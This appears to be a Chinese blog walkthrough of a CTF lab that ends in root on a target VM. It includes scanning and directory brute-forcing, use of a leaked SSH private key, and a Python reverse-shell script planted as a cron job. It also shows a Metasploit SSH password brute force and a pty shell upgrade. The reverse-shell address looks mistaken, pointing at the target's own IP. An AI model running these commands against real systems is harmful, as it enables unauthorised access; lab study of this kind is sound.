CTF靶场系列——SSH-服务渗透root主机

前言

CTF系列之SSH服务渗透root主机靶场试验。

小插曲

安装靶场时除了差错。说小也不小,害
j4y
原本在vmware里安装靶场,但是出现这样的情况。
j4y
j4y
绝望,找了解决办法,但是不适合我。我吐了,修修改改半天。还是不行。
还是先说这个解决办法:
先将ova文件后缀改为.rar或者.zip然后解压该文件。会有两个文件被解压出来,分别是.ovf.vmdk,修改.ovf文件用记事本打开,修改这里
j4y
然后再次尝试打开,如果运气好的话,就可以打开了。
但是我没成功,于是开始自己瞎鼓捣。终于皇天不负有心人,搞了俩小时,终于给我整明白了。
下面是我的解决方法:
下载了Oracle VirtualBox这个软件,又是一个虚拟机的软件,对的。
当时想的是,既然它原本是Oracle VirtualBox的版本,那么就下载个试试。然后成功了。可以打开虚拟靶场了。这目前是适合我的解决办法。
当然,问题又来了。
靶机在Oracle VirtualBox上,kali在vmware上,😂😂😂😂这他喵怎么探测到靶机的IP啊。这个问题就是我头疼了将近俩小时的问题。至于探测方法以及设置问题在下面。

实验前的准备

探测IP

设置问题,
vmware中
j4y
虚拟网络编辑器
j4y
j4y
可以根据自己的设置来,然后点击应用。
然后在kali的虚拟机设置里面设置桥接
j4y
Oracle VirtualBox中
j4y
设置成和kali的一样的。然后就大功告成了。
进kali探测IP地址就行了。

ifconfig

j4y
发现kali的IP是192.168.1.6
然后输入

netdiscover -r 192.168.1.1/24

j4y
就是它了。然后nmap进一步探测信息查看是否正确
j4y
好了,证据确凿,就是它了。
靶机IP:192.168.1.5

实验开始

拿到第一个用户权限

探测靶场全部信息

nmap -A -v 192.168.1.5

探测靶场的操作系统类型与版本

nmap -O 192.168.1.5

j4y

分析探测结果

针对ssh服务的22号端口。
考虑:

  • 1、暴力破解

  • 2、私钥泄露(私钥有没有对应的密码。是否可以找到私钥的用户名)
    对于开放http服务的80端口或者其他端口的靶场
    优先考虑:

  • 1、通过浏览器访问对应的靶场http服务,如http://靶场IP地址:http服务端口

  • 2、使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口/
    特别注意:特殊端口(大于1024的端口)
    j4y
    先继续

挖掘敏感信息

dirb http://192.168.1.5/

然后探测出来一堆
j4y
然后从第一个开始进行访问。运气不错,第二个就得到了这么多信息。再深入查看(还是挨个查看)
j4y
然后发现了这个名字很奇怪的txt文本有东西,是rsa
j4y
然后就到解析网站解析了一番,传送门
然后使用nikto扫描器来挖掘敏感信息

nikto -host 192.168.1.5

特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;j4y
利用信息继续进行。
将私钥文件下载到桌面上,方便操作。

wget "http://192.168.1.5/icons/VDSoyuAXiO.txt"

然后改个名
j4y
然后,查看id_rsa文件的权限,进行提权
j4y
利用私钥尝试登录服务器

ssh -i id_rsa [email protected]

其中martin是上面已经得到的一个可能的用户名。
可以看到已经连接成功
j4y
然后将能看到的目录下的文件全列出来找一遍
j4y
现在相当于拿到了第一个用户了。

渗透root用户

一般flag会在root用户和对应的用户组。
使用以下几条命令进行查看信息。所以这个时候应该是提权。

cat /etc/passwd			#查看所有用户的列表
cat /etc/group			#查看用户组
find / -user 用户名		#查看属于某些用户的文件
/tmp					#查看缓冲文件目录

查看过之后也没发现什么特别的信息,
j4y
不过发现几个用户。

深入挖掘

通过 /etc/crontab 文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务。

cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

j4y

如果在/etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

看到这个文件,但是ls后什么都没发现。所以自己创建反弹shell然后改成这个名字,让它定时执行。

查看空闲端口,随便挑个进行侦听,这里我选择4444端口。
查看占用端口

nc -lpv [未占用端口]

查看占用端口
netstat -pantu
然后没有占用4444端口,那就可以使用。
自创反弹shell

#!/usr/bin/python
import socket,os,subprocess

s=socket.socket()
s.connect(("192.168.1.5",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

j4y
熟练使用vi命令真的重要。
再改成那个定时自动执行的文件的名字
提权,执行权限给它

chmod +x sekurity.py

进行侦听端口后,程序是5分钟执行一次,最多等待5分钟就可以了。

但是我的没有显示,一直都是这个样子
j4y
烦。重复执行好几遍都没成功,一直是这样的。
吐了。看过教程,发现后面的步骤也没啥了。就是查一下是不是root用户,如果是,进一步探测,不是就放弃这个用户,继续下一个。
使用命令

#当前用户名
whoami
#查看对应权限
id
#提权
su root

暴力破解

最后一个用户,没有其他办法只能进行暴力破解,使用hydra、medusa等工具。
使用github上的一个工具创建字典

git clone htts://github.com/jeanphorn/common-password.git
cd common-password
#然后执行
./cupp.py -i

当然,如果是python3的话可能会出错。我这里使用python2版本执行就可以了。

python2 cupp.py -i

然后输入要破解的用户名,生成字典文件。
j4y
字典文件生成完毕,可以进行暴力破解,这里使用metasploit破解ssh

msfconsole
-- msf> use auxiliary/scanner/ssh/ssh_login
--msf auxiliary(ssh_login) > set rhost 192.168.1.5
--msf auxiliary(ssh_login) > set username hadi
--msf auxiliary(ssh_login) > set pass_file hadi.txt[的路径]
--msf auxiliary(ssh_login) > run

开始破解,破解之后是自动生成会话,可以使用终端
j4y
所以使用命令

python -c "import pty; pty.spawn('/bin/bash')"

j4y
就变成了和平时使用的终端一样了。
然后提权
j4y
到这里进入了root用户
j4y
然后查找flag,一般是在root目录下,所以直接进入root目录,查看
得到flag
j4y
结束。
花了很长时间,学到的东西也很多。继续努力啊。

文末寄语:

有些乐趣和人生际遇或许我们永远不会有。然而正是在这些“得不到”和“有所得”之间,我们确立了自己在这个世界上的位置。——荞麦

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章